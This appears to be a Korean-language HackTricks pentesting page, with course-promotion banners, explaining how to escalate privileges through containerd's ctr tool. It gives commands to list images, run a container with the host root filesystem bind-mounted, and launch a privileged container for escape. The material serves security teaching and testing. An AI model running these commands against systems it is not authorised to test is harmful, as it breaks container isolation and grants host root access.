Containerd (ctr) Privilege Escalation

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

기본 정보

containerdctr이 무엇인지 알아보려면 다음 링크로 이동하세요:

page2375, 2376 Pentesting Docker

PE 1

호스트에 ctr 명령이 포함되어 있는 것을 발견하면:

which ctr
/usr/bin/ctr

이미지를 나열할 수 있습니다:

ctr images ls
ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS
registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 -

그리고 호스트 루트 폴더를 마운트하여 그 이미지 중 하나를 실행합니다:

ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash

PE 2

특권이 부여된 컨테이너를 실행하고 그로부터 탈출하세요. 다음과 같이 특권이 부여된 컨테이너를 실행할 수 있습니다:

ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

다음 페이지에서 언급된 몇 가지 기술을 사용하여 특권된 기능을 남용하여 탈출할 수 있습니다:

pageDocker Security
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated